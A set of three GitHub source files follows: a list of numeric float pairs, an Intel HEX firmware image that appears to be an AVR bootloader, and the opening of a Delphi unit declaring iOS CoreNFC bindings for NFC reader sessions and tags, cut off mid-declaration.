4.31299846E-17 0.853200018 1.25412128E-17 0.865199983 -3.46691247E-17 0.877200007 -9.24079130E-17 0.889199972 -1.48790231E-16 0.901199996 -1.87326127E-16 0.913200021 -1.90066716E-16 0.925199986 -1.42459110E-16 0.937200010 -3.89960271E-17 0.949199975 1.11850026E-16 0.961199999 2.85215819E-16 0.973200023 4.41569075E-16 0.985199988 5.33379876E-16 0.997200012 5.16252764E-16 1.00919998 3.62481794E-16 1.02119994 7.36372129E-17 1.03320003 -3.11868902E-16 1.04519999 -7.19855238E-16 1.05719995 -1.05200772E-15 1.06920004 -1.20727161E-15 1.08120000 -1.10902214E-15 1.09319997 -7.31332429E-16 1.10520005 -1.16384564E-16 1.11720002 6.24018331E-16 1.12919998 1.32659643E-15 1.14119995 1.81297259E-15 1.15320003 1.93703327E-15 1.16520000 1.63121033E-15 1.17719996 9.37587546E-16 1.18920004 1.16542469E-17 1.20120001 -9.07384574E-16 1.21319997 -1.55667948E-15 1.22520006 -1.72717959E-15 1.23720002 -1.33765836E-15 1.24919999 -4.81768518E-16 1.26119995 5.71405567E-16 1.27320004 1.43202482E-15 1.28520000 1.69270270E-15 1.29719996 1.05745690E-15 1.30920005 -5.38274244E-16 1.32120001 -2.85458489E-15 1.33319998 -5.35143600E-15 1.34519994 -7.28278843E-15 1.35720003 -7.86839652E-15 1.36919999 -6.50651916E-15 1.38119996 -2.97346363E-15 1.39320004 2.44791272E-15 1.40520000 8.95593770E-15 1.41719997 1.53518572E-14 1.42920005 2.02774080E-14 1.44120002 2.25155621E-14 1.45319998 2.12789550E-14 1.46519995 1.64077126E-14 1.47720003 8.41835299E-15 1.48920000 -1.61530030E-15 1.50119996 -1.23201247E-14 1.51320004 -2.23479665E-14 1.52520001 -3.06689725E-14 1.53719997 -3.67405115E-14 1.54920006 -4.04923491E-14 1.56120002 -4.21257267E-14 1.57319999 -4.17882383E-14 1.58519995 -3.92385336E-14 1.59720004 -3.36364441E-14 1.60920000 -2.35741975E-14 1.62119997 -7.40373034E-15 1.63320005 1.61734622E-14 1.64520001 4.73802855E-14 1.65719998 8.46975213E-14 1.66919994 1.24474663E-13 1.68120003 1.60997639E-13 1.69319999 1.87097354E-13 1.70519996 1.95251448E-13 1.71720004 1.78995463E-13 1.72920001 1.34359348E-13 1.74119997 6.10088491E-14 1.75320005 -3.71812702E-14 1.76520002 -1.52274786E-13 1.77719998 -2.73126058E-13 1.78919995 -3.86750311E-13 1.80120003 -4.79902142E-13 1.81320000 -5.40514573E-13 1.82519996 -5.58715563E-13 1.83720005 -5.27294354E-13 1.84920001 -4.41692852E-13 1.86119998 -2.99785804E-13 1.87320006 -1.01827143E-13 1.88520002 1.49079628E-13 1.89719999 4.45787179E-13 1.90919995 7.75266949E-13 1.92120004 1.11654175E-12 1.93320000 1.43909049E-12 1.94519997 1.70258013E-12 1.95720005 1.85871587E-12 1.96920002 1.85569377E-12 1.98119998 1.64523028E-12 1.99319994 1.19150620E-12 2.00519991 4.80762945E-13 2.01719999 -4.70141666E-13 2.02920008 -1.60804627E-12 2.04119992 -2.84224922E-12 2.05320001 -4.04872099E-12 2.06520009 -5.07990915E-12 2.07719994 -5.77935616E-12 2.08920002 -5.99949951E-12 2.10120010 -5.62049149E-12 2.11319995 -4.56769041E-12 2.12520003 -2.82570863E-12 2.13720012 -4.47478480E-13 2.14919996 2.44250822E-12 2.16120005 5.65091593E-12 2.17319989 8.92388073E-12 2.18519998 1.19603485E-11 2.19720006 1.44299269E-11 2.20919991 1.59949380E-11 2.22119999 1.63365554E-11 2.23320007 1.51847614E-11 2.24519992 1.23514428E-11 2.25720000 7.76489550E-12 2.26920009 1.50281805E-12 2.28119993 -6.18049492E-12 2.29320002 -1.48380336E-11 2.30520010 -2.38306180E-11 2.31719995 -3.23489568E-11 2.32920003 -3.94603066E-11 2.34120011 -4.41798403E-11 2.35319996 -4.55634870E-11 2.36520004 -4.28151924E-11 2.37719989 -3.53984550E-11 2.38919997 -2.31398997E-11 2.40120006 -6.31186032E-12 2.41319990 1.43178976E-11 2.42519999 3.74788776E-11 2.43720007 6.14387013E-11 2.44919991 8.40936140E-11 2.46120000 1.03105545E-10 2.47320008 1.16078515E-10 2.48519993 1.20763663E-10 2.49720001 1.15279307E-10 2.50920010 9.83307186E-11 2.52119994 6.94126284E-11 2.53320003 2.89770690E-11 2.54520011 -2.14508637E-11 2.55719995 -7.92261326E-11 2.56920004 -1.40620182E-10 2.58119988 -2.00951783E-10 2.59319997 -2.54817889E-10 2.60520005 -2.96422747E-10 2.61719990 -3.19995141E-10 2.62919998 -3.20273114E-10 2.64120007 -2.93026881E-10 2.65319991 -2.35581388E-10 2.66520000 -1.47294676E-10 2.67720008 -2.99460561E-11 2.68919992 1.12011428E-10 2.70120001 2.71372036E-10 2.71320009 4.38301728E-10 2.72519994 6.00682060E-10 2.73720002 7.44676765E-10 2.74920011 8.55506943E-10 2.76119995 9.18409349E-10 2.77320004 9.19736676E-10 2.78520012 8.48147663E-10 2.79719996 6.95825120E-10 2.80920005 4.59650623E-10 2.82119989 1.42259649E-10 2.83319998 -2.47104531E-10 2.84520006 -6.92021662E-10 2.85719991 -1.16869081E-09 2.86919999 -1.64616787E-09 2.88120008 -2.08710671E-09 2.89319992 -2.44905052E-09 2.90520000 -2.68629297E-09 2.91720009 -2.75230194E-09 2.92919993 -2.60266386E-09 2.94120002 -2.19846519E-09 2.95320010 -1.50999124E-09 2.96519995 -5.20584187E-10 2.97720003 7.69537489E-10 2.98920012 2.33973019E-09 3.00119996 4.14590584E-09 3.01320004 6.11833029E-09 3.02519989 8.16053358E-09 3.03719997 1.01496429E-08 3.04920006 1.19384262E-08 3.06119990 1.33593101E-08 3.07319999 1.42305643E-08 3.08520007 1.43647707E-08 3.09719992 1.35795295E-08 3.10920000 1.17102088E-08 3.12120008 8.62430749E-09 3.13319993 4.23672830E-09 3.14520001 -1.47500956E-09 3.15720010 -8.45689652E-09 3.16919994 -1.65674958E-08 3.18120003 -2.55717723E-08 3.19320011 -3.51417562E-08 3.20519996 -4.48661801E-08 3.21720004 -5.42712613E-08 3.22919989 -6.28546815E-08 3.24119997 -7.01343410E-08 3.25320005 -7.57132810E-08 3.26519990 -7.93611363E-08 3.27719998 -8.11118639E-08 3.28920007 -8.13765197E-08 3.30119991 -8.10685066E-08 3.31320000 -8.17378165E-08 3.32520008 -8.57092957E-08 3.33719993 -9.62189404E-08 3.34920001 -1.17541227E-07 3.36120009 -1.55099357E-07 3.37319994 -2.15550244E-07 3.38520002 -3.06835091E-07 3.39720011 -4.38187698E-07 3.40919995 -6.20091896E-07 3.42120004 -8.64182084E-07 3.43319988 -1.18308196E-06 3.44519997 -1.59017770E-06 3.45720005 -2.09932614E-06 3.46919990 -2.72450029E-06 3.48119998 -3.47937703E-06 3.49320006 -4.37687686E-06 3.50519991 -5.42866565E-06 3.51719999 -6.64463323E-06 3.52920008 -8.03236799E-06 3.54119992 -9.59664703E-06 3.55320001 -1.13389488E-05 3.56520009 -1.32570385E-05 3.57719994 -1.53446072E-05 3.58920002 -1.75910209E-05 3.60120010 -1.99811657E-05 3.61319995 -2.24954365E-05 3.62520003 -2.51098481E-05 3.63720012 -2.77962790E-05 3.64919996 -3.05228932E-05 3.66120005 -3.32546515E-05 3.67319989 -3.59540027E-05 3.68519998 -3.85816493E-05 3.69720006 -4.10974426E-05 3.70919991 -4.34613212E-05 3.72119999 -4.56343187E-05 3.73320007 -4.75795787E-05 3.74519992 -4.92633408E-05 3.75720000 -5.06558972E-05 3.76920009 -5.17324588E-05 3.78119993 -5.24739080E-05 3.79320002 -5.28674209E-05 3.80520010 -5.29069075E-05 3.81719995 -5.25933065E-05 3.82920003 -5.19346431E-05 3.84120011 -5.09459460E-05 3.85319996 -4.96488901E-05 3.86520004 -4.80712988E-05 3.87719989 -4.62464668E-05 3.88919997 -4.42122946E-05 3.90120006 -4.20103024E-05 3.91319990 -3.96845571E-05 3.92519999 -3.72804971E-05 3.93720007 -3.48437607E-05 3.94919991 -3.24189932E-05 3.96120000 -3.00487045E-05 3.97320008 -2.77722265E-05 3.98519993 -2.56247567E-05 3.99720001 -2.36365577E-05 4.00920010 -2.18323366E-05 4.02120018 -2.02307838E-05 4.03319979 -1.88443355E-05 4.04519987 -1.76791200E-05 4.05719995 -1.67351227E-05 4.06920004 -1.60065192E-05 4.08120012 -1.54821955E-05 4.09320021 -1.51464228E-05 4.10519981 -1.49796451E-05 4.11719990 -1.49593670E-05 4.12919998 -1.50610995E-05 4.14120007 -1.52593311E-05 4.15320015 -1.55284888E-05 4.16520023 -1.58438506E-05 4.17719984 -1.61823828E-05 4.18919992 -1.65234724E-05 4.20120001 -1.68495426E-05 4.21320009 -1.71464890E-05 4.22520018 -1.74040015E-05 4.23719978 -1.76156864E-05 4.24919987 -1.77790389E-05 4.26119995 -1.78952560E-05 4.27320004 -1.79688923E-05 4.28520012 -1.80074076E-05 4.29720020 -1.80205843E-05 4.30919981 -1.80198858E-05 4.32119989 -1.80177412E-05 4.33319998 -1.80268325E-05 4.34520006 -1.80593743E-05 4.35720015 -1.81264368E-05 4.36920023 -1.82373406E-05 4.38119984 -1.83991579E-05 4.39319992 -1.86163034E-05 4.40520000 -1.88902850E-05 4.41720009 -1.92195748E-05 4.42920017 -1.95996563E-05 4.44119978 -2.00231934E-05 4.45319986 -2.04803546E-05 4.46519995 -2.09592545E-05 4.47720003 -2.14465163E-05 4.48920012 -2.19278882E-05 4.50120020 -2.23889456E-05 4.51319981 -2.28157878E-05 4.52519989 -2.31957474E-05 4.53719997 -2.35180432E-05 4.54920006 -2.37743661E-05 4.56120014 -2.39593865E-05 4.57320023 -2.40711106E-05 4.58519983 -2.41111265E-05 4.59719992 -2.40846894E-05 4.60920000 -2.40006557E-05 4.62120008 -2.38712837E-05 4.63320017 -2.37118638E-05 4.64519978 -2.35402549E-05 4.65719986 -2.33762839E-05 4.66919994 -2.32410948E-05 4.68120003 -2.31564118E-05 4.69320011 -2.31438044E-05 4.70520020 -2.32239381E-05 4.71719980 -2.34158742E-05 4.72919989 -2.37364147E-05 4.74119997 -2.41995385E-05 4.75320005 -2.48159540E-05 4.76520014 -2.55927425E-05 4.77720022 -2.65331564E-05 4.78919983 -2.76365299E-05 4.80119991 -2.88983410E-05 4.81320000 -3.03103752E-05 4.82520008 -3.18610146E-05 4.83720016 -3.35356344E-05 4.84919977 -3.53170581E-05 4.86119986 -3.71860879E-05 4.87319994 -3.91220638E-05 4.88520002 -4.11034307E-05 4.89720011 -4.31082954E-05 4.90920019 -4.51149572E-05 4.92119980 -4.71023777E-05 4.93319988 -4.90505918E-05 4.94519997 -5.09410420E-05 4.95720005 -5.27568227E-05 4.96920013 -5.44828326E-05 4.98120022 -5.61058550E-05 4.99319983 -5.76145794E-05 5.00519991 -5.89995107E-05 5.01719999 -6.02528853E-05 5.02920008 -6.13685042E-05 5.04120016 -6.23416199E-05 5.05319977 -6.31687653E-05 5.06519985 -6.38476340E-05 5.07719994 -6.43769890E-05 5.08920002 -6.47566194E-05 5.10120010 -6.49873327E-05 5.11320019 -6.50710208E-05 5.12519979 -6.50107468E-05 5.13719988 -6.48108398E-05 5.14919996 -6.44770771E-05 5.16120005 -6.40168073E-05 5.17320013 -6.34390381E-05 5.18520021 -6.27545523E-05 5.19719982 -6.19759012E-05 5.20919991 -6.11173382E-05 5.22119999 -6.01946813E-05 5.23320007 -5.92250763E-05 5.24520016 -5.82266657E-05 5.25719976 -5.72181598E-05 5.26919985 -5.62183595E-05 5.28119993 -5.52456077E-05 5.29320002 -5.43172209E-05 5.30520010 -5.34489336E-05 5.31720018 -5.26543517E-05 5.32919979 -5.19444548E-05 5.34119987 -5.13272389E-05 5.35319996 -5.08074008E-05 5.36520004 -5.03862248E-05 5.37720013 -5.00615715E-05 5.38920021 -4.98280133E-05 5.40119982 -4.96771354E-05 5.41319990 -4.95979584E-05 5.42519999 -4.95774875E-05 5.43720007 -4.96013381E-05 5.44920015 -4.96544199E-05 5.46120024 -4.97216715E-05 5.47319984 -4.97887195E-05 5.48519993 -4.98425688E-05 5.49720001 -4.98721274E-05 5.50920010 -4.98686895E-05 5.52120018 -4.98262416E-05 5.53319979 -4.97416295E-05 5.54519987 -4.96145767E-05 5.55719995 -4.94475462E-05 5.56920004 -4.92454419E-05 5.58120012 -4.90152161E-05 5.59320021 -4.87653560E-05 5.60519981 -4.85052988E-05 5.61719990 -4.82448304E-05 5.62919998 -4.79934461E-05 5.64120007 -4.77597823E-05 5.65320015 -4.75510751E-05 5.66520023 -4.73727232E-05 5.67719984 -4.72279535E-05 5.68919992 -4.71176063E-05 5.70120001 -4.70400482E-05 5.71320009 -4.69912120E-05 5.72520018 -4.69647457E-05 5.73719978 -4.69522929E-05 5.74919987 -4.69438564E-05 5.76119995 -4.69282058E-05 5.77320004 -4.68933977E-05 5.78520012 -4.68272483E-05 5.79720020 -4.67178652E-05 5.80919981 -4.65541380E-05 5.82119989 -4.63262004E-05 5.83319998 -4.60258161E-05 5.84520006 -4.56467387E-05 5.85720015 -4.51849628E-05 5.86920023 -4.46388804E-05 5.88119984 -4.40093900E-05 5.89319992 -4.32998604E-05 5.90520000 -4.25160542E-05 5.91720009 -4.16659532E-05 5.92920017 -4.07594598E-05 5.94119978 -3.98081247E-05 5.95319986 -3.88247208E-05 5.96519995 -3.78228215E-05 5.97720003 -3.68163637E-05 5.98920012 -3.58191355E-05 6.00120020 -3.48443427E-05 6.01319981 -3.39041253E-05 6.02519989 -3.30091643E-05 6.03719997 -3.21683037E-05 6.04920006 -3.13882774E-05 6.06120014 -3.06734837E-05 6.07320023 -3.00258653E-05 6.08519983 -2.94448928E-05 6.09719992 -2.89276213E-05 6.10920000 -2.84688649E-05 6.12120008 -2.80614386E-05 6.13320017 -2.76964875E-05 6.14519978 -2.73638543E-05 6.15719986 -2.70525106E-05 6.16919994 -2.67509768E-05 6.18120003 -2.64477621E-05 6.19320011 -2.61317600E-05 6.20520020 -2.57926240E-05 6.21719980 -2.54210590E-05 6.22919989 -2.50090670E-05 6.24119997 -2.45500996E-05 6.25320005 -2.40391364E-05 6.26520014 -2.34726849E-05 6.27720022 -2.28487188E-05 6.28919983 -2.21665468E-05 6.30119991 -2.14266365E-05 6.31320000 -2.06304230E-05 6.32520008 -1.97800946E-05 6.33720016 -1.88783797E-05 6.34919977 -1.79283616E-05 6.36119986 -1.69333161E-05 6.37319994 -1.58965977E-05 6.38520002 -1.48215622E-05 6.39720011 -1.37115385E-05 6.40920019 -1.25698534E-05 6.42119980 -1.13998740E-05 6.43319988 -1.02051026E-05 6.44519997 -8.98928647E-06 6.45720005 -7.75652643E-06 6.46920013 -6.51139771E-06 6.48120022 -5.25905170E-06 6.49319983 -4.00529780E-06 6.50519991 -2.75664797E-06 6.51719999 -1.52032760E-06 6.52920008 -3.04234447E-07 6.54120016 8.83144594E-07 6.55319977 2.03286618E-06 6.56519985 3.13570945E-06 6.57719994 4.18238960E-06 6.58920002 5.16380351E-06 6.60120010 6.07129459E-06 6.61320019 6.89692206E-06 6.62519979 7.63372282E-06 6.63719988 8.27594795E-06 6.64919996 8.81927008E-06 6.66120005 9.26092980E-06 6.67320013 9.59982663E-06 6.68520021 9.83654900E-06 6.69719982 9.97332063E-06 6.70919991 1.00138959E-05 6.72119999 9.96337349E-06 6.73320007 9.82798065E-06 6.74520016 9.61479964E-06 6.75719976 9.33150022E-06 6.76919985 8.98605958E-06 6.78119993 8.58650310E-06 6.79320002 8.14069881E-06 6.80520010 7.65619188E-06 6.81720018 7.14011321E-06 6.82919979 6.59915077E-06 6.84119987 6.03958961E-06 6.85319996 5.46740830E-06 6.86520004 4.88841897E-06 6.87720013 4.30843284E-06 6.88920021 3.73342687E-06 6.90119982 3.16969408E-06 6.91319990 2.62394929E-06 6.92519999 2.10337930E-06 6.93720007 1.61562218E-06 6.94920015 1.16867056E-06 6.96120024 7.70698648E-07 6.97319984 4.29825064E-07 6.98519993 1.53825141E-07 6.99720001 -5.01879391E-08 7.00920010 -1.76086488E-07 7.02120018 -2.19032074E-07 7.03319979 -1.75735764E-07 7.04519987 -4.46513582E-08 7.05719995 1.73913449E-07 7.06920004 4.77778997E-07 7.08120012 8.62970751E-07 7.09320021 1.32388766E-06 7.10519981 1.85354691E-06 7.11719990 2.44389139E-06 7.12919998 3.08612971E-06 7.14120007 3.77109131E-06 7.15320015 4.48956553E-06 7.16520023 5.23260360E-06 7.17719984 5.99176474E-06 7.18919992 6.75929277E-06 7.20120001 7.52821597E-06 7.21320009 8.29237615E-06 7.22520018 9.04638728E-06 7.23719978 9.78554635E-06 7.24919987 1.05057143E-05 7.26119995 1.12031767E-05 7.27320004 1.18745229E-05 7.28520012 1.25165598E-05 7.29720020 1.31262559E-05 7.30919981 1.37007592E-05 7.32119989 1.42374556E-05 7.33319998 1.47340897E-05 7.34520006 1.51889235E-05 7.35720015 1.56009100E-05 7.36920023 1.59698557E-05 7.38119984 1.62965753E-05 7.39319992 1.65829679E-05 7.40520000 1.68320221E-05 7.41720009 1.70477433E-05 7.42920017 1.72349664E-05 7.44119978 1.73990647E-05 7.45319986 1.75456007E-05 7.46519995 1.76798749E-05 7.47720003 1.78064583E-05 7.48920012 1.79287308E-05 7.50120020 1.80484458E-05 7.51319981 1.81653650E-05 7.52519989 1.82770273E-05 7.53719997 1.83786433E-05 7.54920006 1.84631699E-05 7.56120014 1.85215304E-05 7.57320023 1.85430326E-05 7.58519983 1.85159242E-05 7.59719992 1.84280580E-05 7.60920000 1.82676613E-05 7.62120008 1.80241223E-05 7.63320017 1.76887643E-05 7.64519978 1.72555592E-05 7.65719986 1.67217149E-05 7.66919994 1.60881100E-05 7.68120003 1.53595320E-05 7.69320011 1.45447166E-05 7.70520020 1.36561612E-05 7.71719980 1.27097273E-05 7.72919989 1.17240597E-05 7.74119997 1.07198366E-05 7.75320005 9.71888676E-06 7.76520014 8.74324360E-06 7.77720022 7.81415656E-06 7.78919983 6.95111930E-06 7.80119991 6.17096430E-06 7.81320000 5.48706521E-06 7.82520008 4.90868570E-06 7.83720016 4.44049965E-06 7.84919977 4.08232017E-06 7.86119986 3.82903409E-06 7.87319994 3.67076245E-06 7.88520002 3.59323462E-06 7.89720011 3.57836825E-06 7.90920019 3.60503054E-06 7.92119980 3.64995617E-06 7.93319988 3.68878023E-06 7.94519997 3.69714940E-06 7.95720005 3.65185838E-06 7.96920013 3.53196606E-06 7.98120022 3.31983551E-06 7.99319983 3.00205056E-06 8.00520039 2.57015517E-06 8.01720047 2.02118008E-06 8.02919960 1.35791743E-06 8.04119968 5.88924479E-07 8.05319977 -2.71757102E-07 8.06519985 -1.20516097E-06 8.07719994 -2.18821629E-06 8.08920002 -3.19479545E-06 8.10120010 -4.19694379E-06 8.11320019 -5.16623186E-06 8.12520027 -6.07516813E-06 8.13720036 -6.89859553E-06 8.14920044 -7.61500542E-06 8.16119957 -8.20769583E-06 8.17319965 -8.66570826E-06 8.18519974 -8.98450526E-06 8.19719982 -9.16632416E-06 8.20919991 -9.22020354E-06 8.22119999 -9.16166755E-06 8.23320007 -9.01207841E-06 8.24520016 -8.79767686E-06 8.25720024 -8.54837072E-06 8.26920033 -8.29630972E-06 8.28120041 -8.07432571E-06 8.29319954 -7.91431376E-06 8.30519962 -7.84562599E-06 8.31719971 -7.89356636E-06 8.32919979 -8.07805645E-06 8.34119987 -8.41254132E-06 8.35319996 -8.90319643E-06 8.36520004 -9.54846655E-06 8.37720013 -1.03389821E-05 8.38920021 -1.12578455E-05 8.40120029 -1.22812771E-05 8.41320038 -1.33796148E-05 8.42520046 -1.45185904E-05 8.43719959 -1.56608567E-05 8.44919968 -1.67676608E-05 8.46119976 -1.78006085E-05 8.47319984 -1.87234273E-05 8.48519993 -1.95036209E-05 8.49720001 -2.01139792E-05 8.50920010 -2.05338074E-05 8.52120018 -2.07498924E-05 8.53320026 -2.07570774E-05 8.54520035 -2.05585002E-05 8.55720043 -2.01654111E-05 8.56919956 -1.95966568E-05 8.58119965 -1.88778049E-05 8.59319973 -1.80399911E-05 8.60519981 -1.71185475E-05 8.61719990 -1.61514727E-05 8.62919998 -1.51778322E-05 8.64120007 -1.42361687E-05 8.65320015 -1.33629883E-05 8.66520023 -1.25914003E-05 8.67720032 -1.19499582E-05 8.68920040 -1.14617524E-05 8.70119953 -1.11437766E-05 8.71319962 -1.10065821E-05 8.72519970 -1.10542123E-05 8.73719978 -1.12844018E-05 8.74919987 -1.16890096E-05 8.76119995 -1.22546535E-05 8.77320004 -1.29634846E-05 8.78520012 -1.37940769E-05 8.79720020 -1.47223627E-05 8.80920029 -1.57225913E-05 8.82120037 -1.67682483E-05 8.83320045 -1.78329265E-05 8.84519958 -1.88910963E-05 8.85719967 -1.99187944E-05 8.86919975 -2.08941728E-05 8.88119984 -2.17979450E-05 8.89319992 -2.26137217E-05 8.90520000 -2.33282044E-05 8.91720009 -2.39313031E-05 8.92920017 -2.44161438E-05 8.94120026 -2.47790085E-05 8.95320034 -2.50191879E-05 8.96520042 -2.51387974E-05 8.97719955 -2.51425317E-05 8.98919964 -2.50374105E-05 9.00119972 -2.48324832E-05 9.01319981 -2.45385345E-05 9.02519989 -2.41677917E-05 9.03719997 -2.37336335E-05 9.04920006 -2.32502935E-05 9.06120014 -2.27326200E-05 9.07320023 -2.21958035E-05 9.08520031 -2.16551598E-05 9.09720039 -2.11259030E-05 9.10919952 -2.06229470E-05 9.12119961 -2.01607072E-05 9.13319969 -1.97528971E-05 9.14519978 -1.94123222E-05 9.15719986 -1.91506733E-05 9.16919994 -1.89782804E-05 9.18120003 -1.89038637E-05 9.19320011 -1.89342773E-05 9.20520020 -1.90742430E-05 9.21720028 -1.93260857E-05 9.22920036 -1.96895144E-05 9.24120045 -2.01614221E-05 9.25319958 -2.07357862E-05 9.26519966 -2.14036154E-05 9.27719975 -2.21530427E-05 9.28919983 -2.29694961E-05 9.30119991 -2.38360299E-05 9.31320000 -2.47337339E-05 9.32520008 -2.56423100E-05 9.33720016 -2.65407034E-05 9.34920025 -2.74078229E-05 9.36120033 -2.82232977E-05 9.37320042 -2.89682284E-05 9.38519955 -2.96259186E-05 9.39719963 -3.01825075E-05 9.40919971 -3.06274887E-05 9.42119980 -3.09541174E-05 9.43319988 -3.11596013E-05 9.44519997 -3.12451775E-05
{ "pile_set_name": "Github" }
:10FC000001C0DDC0112484B790E890936100109288 :10FC10006100882361F0982F9A70923041F081FF43 :10FC200002C097EF94BF282E80E0ECD0E9C185E0B8 :10FC30008093810082E08093C00088E18093C100BE :10FC40008FE88093C40086E08093C2008EE0DAD013 :10FC5000259A84E02AEB3AEF91E0309385002093D7 :10FC6000840096BBB09BFECF1D9AA8954091C00022 :10FC700047FD02C0815089F7B9D0813479F4B6D0FC :10FC8000C82FC6D0C23811F480E004C088E0C13863 :10FC900009F083E0A4D080E1A2D0EECF823419F441 :10FCA00084E1BED0F8CF853411F485E0FACF8535F4 :10FCB00041F49CD0E82E9AD0F82EEE0CFF1CA8D070 :10FCC000EACF863519F484E0ABD0DECF843609F074 :10FCD00045C08CD0C82FD0E0DC2FCC2787D0C82BD4 :10FCE00085D0D82E5E01B39400E011E04801EFEF1B :10FCF0008E1A9E0A7BD0F801808384018A149B04AB :10FD0000A9F786D0F5E410E000E0DF1609F150E035 :10FD100040E063E0C70153D08701C12CDD24D394B8 :10FD2000F601419151916F0161E0C80148D00E5F29 :10FD30001F4F2297A9F750E040E065E0C7013FD090 :10FD4000AACF6081C8018E0D9F1D79D00F5F1F4F14 :10FD5000F801F395C017D107A1F79DCF843701F5BE :10FD600045D0C82FD0E0DC2FCC2740D0C82B3ED0C8 :10FD7000D82E4ED08701F5E4DF120BC0CE0DDF1D6B :10FD8000C80155D02CD00F5F1F4FC017D107C1F746 :10FD900082CFF80185918F0122D02197D1F77BCFB7 :10FDA000853739F435D08EE11AD086E918D084E051 :10FDB00071CF813509F083CF88E024D080CFFC015A :10FDC0000A0167BFE895112407B600FCFDCF6670F5 :10FDD00029F0452B19F481E187BFE89508959091AA :10FDE000C00095FFFCCF8093C60008958091C000AD :10FDF00087FFFCCF8091C00084FD01C0A895809151 :10FE0000C6000895E0E6F0E098E1908380830895CD :10FE1000EDDF803219F088E0F5DFFFCF84E1DFCF3E :10FE2000CF93C82FE3DFC150E9F7CF91F1CFF99914 :10FE3000FECF92BD81BDF89A992780B50895262FEF :10FE4000F999FECF92BD81BD20BD0FB6F894FA9A04 :08FE5000F99A0FBE0196089516 :02FFFE000008F9 :040000030000FC00FD :00000001FF
{ "pile_set_name": "Github" }
unit DW.iOSapi.CoreNFC; {*******************************************************} { } { Kastri Free } { } { DelphiWorlds Cross-Platform Library } { } {*******************************************************} {$I DW.GlobalDefines.inc} interface uses Macapi.CoreFoundation, Macapi.CoreServices, Macapi.Dispatch, Macapi.Mach, Macapi.ObjCRuntime, Macapi.ObjectiveC, iOSapi.CocoaTypes, iOSapi.Foundation; const NFCReaderErrorUnsupportedFeature = 1; NFCReaderErrorSecurityViolation = 2; NFCReaderTransceiveErrorTagConnectionLost = 100; NFCReaderTransceiveErrorRetryExceeded = 101; NFCReaderTransceiveErrorTagResponseError = 102; NFCReaderSessionInvalidationErrorUserCanceled = 200; NFCReaderSessionInvalidationErrorSessionTimeout = 201; NFCReaderSessionInvalidationErrorSessionTerminatedUnexpectedly = 202; NFCReaderSessionInvalidationErrorSystemIsBusy = 203; NFCReaderSessionInvalidationErrorFirstNDEFTagRead = 204; NFCTagCommandConfigurationErrorInvalidParameters = 300; NFCTagTypeISO15693 = 1; NFCTypeNameFormatEmpty = 0; NFCTypeNameFormatNFCWellKnown = 1; NFCTypeNameFormatMedia = 2; NFCTypeNameFormatAbsoluteURI = 3; NFCTypeNameFormatNFCExternal = 4; NFCTypeNameFormatUnknown = 5; NFCTypeNameFormatUnchanged = 6; type NFCReaderSession = interface; NFCTag = interface; NFCReaderSessionDelegate = interface; NFCTagCommandConfiguration = interface; NFCNDEFReaderSession = interface; NFCNDEFPayload = interface; NFCNDEFMessage = interface; NFCNDEFReaderSessionDelegate = interface; NFCISO15693CustomCommandConfiguration = interface; NFCISO15693ReadMultipleBlocksConfiguration = interface; NFCISO15693Tag = interface; NFCISO15693ReaderSession = interface; NFCReaderError = NSInteger; NFCTagType = NSUInteger; NFCTypeNameFormat = Byte; _NSRange = record location: NSUInteger; length: NSUInteger; end; TCoreNFCCompletionHandler = procedure(param1: NSData; param2: NSError) of object; NFCReaderSessionClass = interface(NSObjectClass) ['{A2270724-00F6-41D5-AE52-648FA29D0EC8}'] end; NFCReaderSession = interface(NSObject) ['{C96B4C66-BF8B-48F9-8353-6E0AFA2B4DB7}'] function isReady: Boolean; cdecl; procedure setAlertMessage(alertMessage: NSString); cdecl; function alertMessage: NSString; cdecl; procedure beginSession; cdecl; procedure invalidateSession; cdecl; function delegate: Pointer; cdecl; function sessionQueue: dispatch_queue_t; cdecl; end; TNFCReaderSession = class(TOCGenericImport<NFCReaderSessionClass, NFCReaderSession>) end; NFCTagCommandConfigurationClass = interface(NSObjectClass) ['{405F7488-F607-463D-A8B4-B6605BB335FF}'] end; NFCTagCommandConfiguration = interface(NSObject) ['{1E5145F3-2972-4AEE-829D-E95C7B1ED033}'] procedure setMaximumRetries(maximumRetries: NSUInteger); cdecl; function maximumRetries: NSUInteger; cdecl; procedure setRetryInterval(retryInterval: NSTimeInterval); cdecl; function retryInterval: NSTimeInterval; cdecl; end; TNFCTagCommandConfiguration = class(TOCGenericImport<NFCTagCommandConfigurationClass, NFCTagCommandConfiguration>) end; NFCNDEFReaderSessionClass = interface(NFCReaderSessionClass) ['{9A6298C7-E555-450B-B8DE-149696530FF7}'] function readingAvailable: Boolean; cdecl; end; NFCNDEFReaderSession = interface(NFCReaderSession) ['{E79D6F63-D139-401C-A891-6055103D6782}'] function initWithDelegate(delegate: Pointer; queue: dispatch_queue_t; invalidateAfterFirstRead: Boolean): Pointer; cdecl; end; TNFCNDEFReaderSession = class(TOCGenericImport<NFCNDEFReaderSessionClass, NFCNDEFReaderSession>) end; NFCNDEFPayloadClass = interface(NSObjectClass) ['{C7888424-A0F1-4ACA-8559-A435E514EFAF}'] end; NFCNDEFPayload = interface(NSObject) ['{758E4F81-25B0-4CA8-A5C2-C08FA755D570}'] procedure setTypeNameFormat(typeNameFormat: NFCTypeNameFormat); cdecl; function typeNameFormat: NFCTypeNameFormat; cdecl; procedure setType(&type: NSData); cdecl; function &type: NSData; cdecl; procedure setIdentifier(identifier: NSData); cdecl; function identifier: NSData; cdecl; procedure setPayload(payload: NSData); cdecl; function payload: NSData; cdecl; end; TNFCNDEFPayload = class(TOCGenericImport<NFCNDEFPayloadClass, NFCNDEFPayload>) end; NFCNDEFMessageClass = interface(NSObjectClass) ['{944720C2-6554-4068-931A-2AA6315BBE56}'] end; NFCNDEFMessage = interface(NSObject) ['{82DCD535-0DE5-4878-AED7-AD8E569C7B5D}'] procedure setRecords(records: NSArray); cdecl; function records: NSArray; cdecl; end; TNFCNDEFMessage = class(TOCGenericImport<NFCNDEFMessageClass, NFCNDEFMessage>) end; NFCISO15693CustomCommandConfigurationClass = interface (NFCTagCommandConfigurationClass) ['{F1E5C282-0A9D-4719-9CFD-5724DCF363AB}'] end; NFCISO15693CustomCommandConfiguration = interface(NFCTagCommandConfiguration) ['{D954FF02-AB5C-424B-9E42-2CBA42EF82E5}'] procedure setManufacturerCode(manufacturerCode: NSUInteger); cdecl; function manufacturerCode: NSUInteger; cdecl; procedure setCustomCommandCode(customCommandCode: NSUInteger); cdecl; function customCommandCode: NSUInteger; cdecl; procedure setRequestParameters(requestParameters: NSData); cdecl; function requestParameters: NSData; cdecl; 